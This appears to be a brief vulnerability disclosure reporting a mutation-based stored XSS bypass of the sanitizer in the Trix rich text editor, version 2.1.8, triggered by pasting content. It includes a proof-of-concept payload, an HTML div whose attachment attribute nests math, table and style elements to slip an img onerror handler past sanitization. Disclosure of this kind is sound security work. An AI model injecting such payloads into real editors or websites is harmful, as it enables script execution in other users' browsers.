Mutation Based Stored XSS on Trix Editor version latest (2.1.8)

Heyy there, I have found a bypass for the sanitizer used in Trix Editor https://github.com/basecamp/trix , the bypass is kind a of mutation based , using copy paste vector it's possible to perform the xss.

copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>me